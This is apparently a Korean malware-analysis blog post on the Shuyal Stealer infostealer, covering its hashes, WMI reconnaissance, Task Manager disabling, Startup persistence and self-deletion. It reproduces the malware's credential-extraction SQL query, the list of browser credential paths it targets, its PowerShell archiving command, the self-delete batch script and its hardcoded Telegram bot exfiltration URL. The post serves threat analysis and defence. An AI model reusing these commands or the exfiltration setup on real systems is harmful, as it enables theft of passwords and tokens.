목차
1. 개요
1.1) Shuyal Stealer 주요 위협 요소
1.2) 분석 파일 정보
2. 상세 분석
2.1) 환경 변수 및 경로 정보 수집
2.2) WMI 기반 정찰
2.3) 작업 관리자 종료
2.4) 지속성 확보
2.5) 정보 탈취 기능
2.5.1) 브라우저 Credential 탈취
2.5.2) 브라우저 방문 기록(History) 탈취
2.5.3) 클립보드(Clipboard) 데이터 탈취
2.5.4) 화면 캡처(Screen Capture)
2.5.5) 브라우저/Discord Token 탈취
2.6) 데이터 압축
2.7) Telegram API를 활용하여 탈취한 데이터 전송
2.8) 흔적 삭제 및 자기 삭제
3. 결론

1. 개요
최근 등장한 인포스틸러형 악성코드 Shuyal Stealer는 Google Chrome, Microsoft Edge, Opera 및 Opera GX, Epic, Waterfox, Vivaldi, Yandex Browser를 포함한 19개 이상의 브라우저를 대상으로 광범위한 자격 증명 도용 기능과 고급 회피 기술을 결합하여 조직에 심각한 위협이 되고 있다. 2025년 7월 처음으로 공개적으로 식별되었으며, 브라우저에 저장된 SQLite 데이터베이스에서 특정 SQL 쿼리를 사용하여 저장된 아이디·비밀번호 및 쿠키 데이터를 탈취한다.
또한 다양한 API와 기능을 활용하여 Discord 계정 토큰, 클립보드 정보, 시스템 환경 정보, 스크린샷까지 수집하며, 피해자 시스템에 침투한 뒤에는 흔적을 숨기고 지속성을 확보하여 장기적인 정보 유출을 가능하게 한다.
해당 악성코드는 PDB 경로에서 발견된 고유 식별자를 기반으로 “Shuyal”이라는 이름이 붙여졌고, PDB 문자열 내에 개발자의 것으로 추정되는 사용자명 “sheepy”가 포함되어 있는 것이 분석을 통해 확인되었다.
1.1) Shuyal Stealer 주요 위협 요소

Shuyal Stealer는 주로 피싱 이메일, 악성 웹사이트 등을 통해 유포되며, 사용자가 첨부 파일 실행 또는 악성 링크에 접속하도록 유도하는 사회공학 기법을 기반으로 시스템에 침투한다. 감염 이후에는 WMIC과 PowerShell 스크립트를 활용하여 시스템 정보를 수집하며, 탈취한 데이터를 ZIP 아카이브 형태로 압축한 뒤 Telegram 봇을 통해 유출한다. 탐지 회피를 위해 압축된 아카이브와 탈취한 파일 기록, 악성 실행 파일 등 흔적을 삭제하여 증거 기반 포렌식 분석을 어렵게 만든다.
특히 Telegram과 같은 일반 사용자용 메신저 플랫폼을 이용한 데이터 유출 방식과 유출 이후 수행되는 자가 삭제 기능은 감염 사실을 은폐하고 대응을 지연시키는 요소로, Shuyal Stealer의 위험성을 더욱 높이는 핵심 기능으로 주목된다.
1.2) 분석 파일 정보
| File name | host.exe |
| MD5 | 9523086ab1c3ab505f3dfd170672af1e |
| SHA-256 | 8bbeafcc91a43936ae8a91de31795842cd93d2d8be3f72ce5c6ed27a08cdc092 |
| File type | Win32 EXE |
| File size | 5.91 MB (6196224 bytes) |
| Creation Time | 2025-03-25 09:57:53 UTC |
| Telegram bot | https://api[.]telegram.org/bot7522684505:AAEODeii83B_nlpLi0bUQTnOtVdjc8yHfjQ/sendDocument?chat_id=-1002503889864 |


분석 결과, Windows 환경을 대상으로 제작된 64비트 실행 파일이며 C/C++ 기반으로 구현된 인포스틸러임을 확인할 수 있다. 또한 파일 리소스 메타데이터를 조사한 결과, 제품명과 설명을 Windows Runtime Helper 로 지정하고 저작권(Copyright)을 Microsoft Corporation으로 위조하여 정상 윈도우 구성 요소로 위장하고 있었다.

바이너리 내부에서 추출한 PDB 경로를 통해, 악성코드의 프로젝트명(Shuyal)과 함께 개발자로 추정되는 사용자명(sheepy)이 노출된 것을 확인할 수 있다. 이는 개발 환경 설정을 제대로 숨기지 않은 사례로, 공격자 식별 및 인프라 추적에 있어 중요한 단서가 될 수 있다.

주요로 확인되는 행위는 피해자 시스템 환경 및 저장 정보에 대한 정찰, 브라우저 인증 정보·스크린샷·클립보드 데이터 등을 수집하고 이를 압축하여 외부로 유출하는 공격 흐름이다. 또한 분석 도구 방해, 난독화, Startup 폴더 기반 자동 실행 등록 등 지속성과 탐지 회피를 확보하는 행위를 보여준다.
Clipboard Data [T1115]
Data from Information Repositories [T1213]
Screen Capture [T1113]
Deobfuscate/Decode Files or Information [T1140]
Impair Defenses::Disable or Modify Tools [T1562.001]
Obfuscated Files or Information [T1027]
Obfuscated Files or Information::Indicator Removal from Tools [T1027.005]
File and Directory Discovery [T1083]
Process Discovery [T1057]
Software Discovery [T1518]
System Information Discovery [T1082]
System Location Discovery [T1614]
System Network Configuration Discovery [T1016]
Shared Modules [T1129]
Boot or Logon Autostart Execution::Registry Run Keys / Startup Folder [T1547.001]
2. 상세 분석
2.1) 환경 변수 및 경로 정보 수집

해당 악성코드는 초기화 단계에서 운영체제의 환경 변수와 경로 정보를 수집한 뒤, 이후의 접근 및 동작 과정을 효율적으로 수행할 수 있도록 설계되어 있다.
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\****\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
COMPUTERNAME=DESKTOP-AOTSJRT
ComSpec=C:\Windows\system32\cmd.exe
...
2.2) WMI 기반 정찰


WMI (Windows Management Instrumentation) 명령을 활용하여 시스템 프로파일링을 수행한다. 이를 통해 디스크 드라이브 사양, 입력 장치 정보, 디스플레이 구성 등 하드웨어 및 운영 환경에 대한 정보를 수집하여 감염 시스템의 지문(Fingerprint)을 구성하게 된다. 이러한 정찰 과정은 공격자가 대상 환경에 맞춰 최적화된 악성 행위를 수행할 수 있도록 지원하며, 시스템 환경에 기반한 계정 탈취 및 악용 시나리오를 적용할 수 있게 한다.
확인된 wmi 명령은 다음과 같다.
wmic diskdrive get model,serialnumber
연결된 디스크 드라이브의 모델명 및 시리얼 번호 수집
wmic path Win32_Keyboard get Description,DeviceID
연결된 키보드 장치 정보 수집
wmic path Win32_PointingDevice get Description,PNPDeviceID
마우스 및 포인팅 장치 식별자 수집
wmic path Win32_DesktopMonitor get Description,PNPDeviceID
디스플레이 장치 구성 및 식별자 추출
wmic os get name
운영체제 이름 및 버전 수집

powershell -command \"(Get-ItemProperty 'HKCU:\\Control Panel\\Desktop').Wallpaper\"
PowerShell 명령을 사용하여 레지스트리 키에 저장된 바탕화면 배경 이미지(Wallpaper) 경로를 조회한다.

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\DesktopSpotlight\Assets\Images\image_0.jpg
직접적인 배경 이미지에 관련한 추가 행위는 확인되지 않았으나, 해당 정보를 다른 수집 정보와 결합하여 시스템 고유 식별자 구성, 환경 맞춤형 악성 행위 수행 등으로 활용될 것으로 추정된다.
2.3) 작업 관리자 종료

시스템 내 모든 프로세스를 순회하며 Taskmgr.exe(작업 관리자) 실행 여부를 모니터링한다. 작업 관리자 프로세스가 감지될 경우 강제 종료하는 루틴이 확인된다. 이는 악성 행위가 사용자에게 노출되는 것을 방지하기 위한 탐지 회피 기법으로, 프로세스 목록 확인이나 수상한 동작에 대한 감시를 차단하려는 의도로 분석된다.

작업 관리자 강제 종료 루틴 외에도, Shuyal Stealer는 작업 관리자의 실행 자체를 차단하기 위해 레지스트리 키를 변경하는 기능을 수행한다. Software\Microsoft\Windows\CurrentVersion\Policies\System 경로에 DisableTaskMgr 값을 1로 설정하여 작업 관리자 실행을 비활성화하는 방식이다. 해당 설정이 적용되면 사용자는 작업 관리자를 열 수 없게 된다.
만약 악성코드가 관리자 권한 없이 실행된 경우엔 RegCreateKeyExW() 함수 호출 시 ERROR_ACCESS_DENIED가 반환되기 때문에 레지스트리 변경이 실패하여 적용이 안 되는 경우도 존재한다.
2.4) 지속성 확보

Shuyal Stealer는 지속성 확보를 위해 Windows 시작 프로그램(Startup) 경로에 자신을 svchost.exe라는 이름으로 복사한다. 해당 파일이 Startup 폴더에 존재할 경우, 시스템 재부팅 시 자동 실행되며 감염이 지속된다.
C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
복사된 svchost.exe 파일을 확인한 결과, 원본 악성 실행 파일(host.exe)과 동일한 악성코드임을 확인할 수 있다.
2.5) 정보 탈취 기능

핵심 기능 루틴은 크리덴셜 탈취 → 브라우저 방문 기록 수집 → 클립보드 데이터 기록 → 화면 캡처 → 브라우저/디스코드 토큰 탈취 순으로 진행된다. 오른쪽 그래프 뷰를 확인해보면, 코드 흐름이 상당히 복잡하고 길게 이어져 있는 것을 볼 수 있다. 이는 여러 브라우저에 존재하는 Login Data 및 관련 데이터베이스 경로를 순회하면서 사용자 계정 정보 및 저장된 패스워드를 추출하는 루틴이 다수 난독화 되어 포함되어 있기 때문이다.
2.5.1) 브라우저 Credential 탈취

크리덴셜 탈취 루틴은 C:\Users\****\AppData\Local\Temp\runtime 경로 하위에 password 디렉터리를 생성한다. 이후 총 19종의 브라우저에 대해 각 브라우저의 Login Data 파일 경로를 순회하며, 저장된 계정 정보(크리덴셜)를 추출하는 방식으로 동작한다. 수집되는 브라우저 디렉터리 목록은 다음과 같다.
AppData\Local\Google\Chrome\User Data\default\Login Data
AppData\Local\BraveSoftware\Brave-Browser\User Data\default\Login Data
AppData\Local\Microsoft\Edge\User Data\default\Login Data
AppData\Roaming\Opera Software\Opera Stable\Login Data
AppData\Roaming\Opera Software\Opera GX Stable\Login Data
AppData\Local\Yandex\YandexBrowser\User Data\default\Login Data
AppData\Local\Vivaldi\User Data\default\Login Data
AppData\Local\Chromium\User Data\default\Login Data
AppData\Roaming\Waterfox\Profiles\*\logins.json
AppData\Roaming\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default\logins.json
AppData\Local\Epic Privacy Browser\User Data\default\Login Data
AppData\Local\Comodo\Dragon\User Data\default\Login Data
AppData\Local\Slimjet\User Data\default\Login Data
AppData\Local\CocCoc\Browser\User Data\default\Login Data
AppData\Roaming\Maxthon5\Users\guest\Login Data
AppData\Local\360Browser\Browser\User Data\default\Login Data
AppData\Local\360Browser\Browser\User Data\default\Login Data
AppData\Local\AVAST Software\Browser\User Data\default\Login Data
AppData\Roaming\Falkon\Login Data

Shuyal Stealer의 탈취 기능 중 하나는 SQLite 데이터베이스를 직접 탐색 및 분석하여 계정 정보를 추출하는 기능이다. 브라우저에서 사용하는 로그인 데이터베이스(DB)를 발견할 경우, SQL 쿼리문을 실행하여 저장된 계정 정보를 탈취한다.
SELECT origin_url, username_value, password_value FROM logins
2.5.2) 브라우저 방문 기록(History) 탈취

History 수집 루틴은 C:\Users\ **** \AppData\Local\Temp\runtime 경로 하위에 history 디렉터리를 생성한 뒤, history.txt 파일을 생성하여 브라우저 방문 기록을 수집 및 저장한다.

history.txt 파일 내용을 확인한 결과, 각 브라우저별로 방문 기록이 분류되어 저장되어 있음을 확인하였다.
2.5.3) 클립보드(Clipboard) 데이터 탈취

Clipboard 수집 루틴은 C:\Users\ **** \AppData\Local\Temp\runtime 경로 하위에 clipboard 디렉터리를 생성하고, clipboard.txt 파일에 탈취한 클립보드 데이터를 기록한다. 이를 위해 OpenClipboard() 함수를 사용하여 현재 사용자 클립보드에 저장된 문자열 정보를 가져온다.
2.5.4) 화면 캡처(Screen Capture)

pic 루틴에서는 C:\Users\ **** \AppData\Local\Temp\runtime 경로 하위에 pic 디렉터리를 생성하고, CreateCompatibleDC(), CreateCompatibleBitmap(), BitBlt() 등의 그래픽 관련 Windows API를 활용하여 현재 화면을 캡처한다. 캡처된 이미지는 ss.png 파일 이름으로 저장된다.
2.5.5) 브라우저/Discord Token 탈취

browser 루틴은 C:\Users\ **** \AppData\Local\Temp\runtime 경로 하위에 browser 디렉터리를 생성한 뒤, 시스템에 설치된 다양한 브라우저를 순회하며 사용자 데이터 영역(Profiles, User Data\Default, Local Storage\leveldb)을 탐색한다. 이를 통해 브라우저 인증 토큰을 수집하며, Discord 웹 인증에 활용되는 Discord, Discord PTB, Discord Canary 환경에서도 토큰을 탈취하는 행위가 확인된다.

브라우저 탐색 과정에서 성공적으로 발견된 브라우저와 미발견된 브라우저에 대한 로그는 debug_log.txt 파일에 기록되며, 탈취에 성공한 토큰은 tokens.txt에 저장된다.
2.6) 데이터 압축

최종적으로 생성 및 활용되는 데이터 수집 디렉터리는 다음과 같다.
- browser : 브라우저 및 Discord 토큰 탈취 결과 저장
- clipboard : 클립보드 기록 저장
- history : 브라우저 방문 기록 저장
- passwords : SQLite 기반 계정 정보(아이디/비밀번호) 저장
- pic : 현재 화면 캡처 이미지 저장
공통적으로 C:\Users\ **** \AppData\Local\Temp\runtime 경로에 생성된다.


탈취 기능 수행이 모두 완료되면, 악성코드는 수집된 데이터가 정상적으로 생성 및 기록되었는지 확인한 후 PowerShell 명령을 통해 결과물을 압축한다. 사용되는 명령은 다음과 같다.
powershell -Command \"Compress-Archive -Path 'C:\\Users\\****\\AppData\\Local\\Temp\\runtime\\*' -DestinationPath 'C:\\Users\\****~1\\AppData\\Local\\Temp\\runtime.zip' -Force\"
2.7) Telegram API를 활용하여 탈취한 데이터 전송

압축된 runtime.zip 파일은 Telegram API를 활용하여 공격자의 Telegram 봇으로 전송된다. 악성코드는 다음과 같은 구조의 요청을 통해 파일을 전송한다. 전송이 완료되면, 증거 은폐를 위해 runtime.zip 파일과 생성한 디렉터리들을 삭제하는 루틴이 수행된다.
https://api[.]telegram.org/bot7522684505:AAEODeii83B_nlpLi0bUQTnOtVdjc8yHfjQ/sendDocument?chat_id=-1002503889864
Bot Token과 Chat ID가 하드코딩되어 있으며, /sendDocument 엔드포인트를 사용해 runtime.zip 파일을 첨부하여 업로드한다. 이를 통해 별도의 C2 서버 구축 없이도 민감 정보가 외부로 유출되며, Telegram 기반 통신 특성상 차단 및 추적이 어려운 점을 악용한 것으로 판단된다.
2.8) 흔적 삭제 및 자기 삭제

모든 정보 탈취 및 전송 작업이 완료되면, 자가 삭제 루틴을 수행한다. util.bat 스크립트를 생성하고 일정 시간이 지난 후 악성 실행 파일(host.exe), 생성한 자가 삭제 스크립트(util.bat)까지 제거하도록 설계되어 있다.
생성되는 util.bat 파일의 내용은 아래와 같다.
@echo off
timeout /t 2 /nobreak > nul
del /f /q "C:\Users\****\Desktop\host.exe"
del /f /q "%~f0"
- timeout 명령으로 2초 대기 후
- 현재 실행 중인 악성코드(host.exe) 강제 삭제
- 마지막으로 util.bat 자신(%~f0)도 삭제하여 모든 흔적을 제거
3. 결론
Shuyal Stealer는 최근 발견된 인포스틸러형 악성코드 중에서도 정교한 정보 탈취 기능과 은폐 전략을 결합한 위협 사례로 주목된다. 브라우저 SQLite DB를 직접 조회하여 계정 정보를 탈취하고, Discord 토큰 및 클립보드·방문 기록·화면 캡처까지 수집하는 등 공격 범위가 넓고 침해 후 피해 확산 가능성이 매우 높다.
또한 WMIC, PowerShell을 악용한 시스템 프로파일링, 작업 관리자 비활성화, Telegram을 통한 비인가 데이터 전송, 자가 삭제 루틴 등 다단계 기법을 통해 감염 사실을 은폐한다는 점은 조직 보안에 매우 위협적이다.
특히 정상 프로그램처럼 보이는 위조된 리소스 메타데이터, 다양한 브라우저 지원, 흔적 삭제 기능은 흔한 스틸러 악성코드보다 한 단계 진화된 형태임을 확인할 수 있다.
'Reversing > Malware Analysis' 카테고리의 다른 글
| [LockBit 3.0] RaaS 랜섬웨어 분석 (LockBit Black) (0) | 2025.12.21 |
|---|---|
| [xRed Backdoor] 파일 감염과 USB 확산을 수행하는 악성코드 (0) | 2025.12.21 |
| [Agent Tesla] 악성메일로 유포되는 .NET 기반 악성코드 분석 (0) | 2025.11.22 |
| [Kimsuky] 정상 인증서를 악용하는 Go언어 기반 악성코드 분석 (0) | 2025.11.13 |
| [Lumma Stealer] Heaven's Gate 기법을 활용한 악성코드(2) (1) | 2025.11.08 |